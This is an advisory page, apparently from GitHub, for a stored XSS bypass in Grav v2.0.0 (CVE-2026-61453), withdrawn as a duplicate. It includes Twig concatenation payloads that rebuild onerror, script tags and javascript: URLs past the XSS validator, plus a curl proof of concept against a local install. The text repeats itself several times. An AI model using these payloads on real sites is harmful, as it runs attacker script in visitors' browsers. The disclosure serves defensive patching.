CVE-2026-61453

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the invalid_protocols check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

Proof of Concept

Prerequisites

1. twig_content.process_enabled: true set by admin
2. api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Create page with Twig XSS payload

curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />

From a low-level user

Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />

But with payloads…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2c4f-86xc-cr74. This link is maintained to preserve external references.

Original Description

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the invalid_protocols check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

Proof of Concept

Prerequisites

1. twig_content.process_enabled: true set by admin
2. api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Create page with Twig XSS payload

curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />

From a low-level user

Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />

But with payloads…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2c4f-86xc-cr74. This link is maintained to preserve external references.

Original Description

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.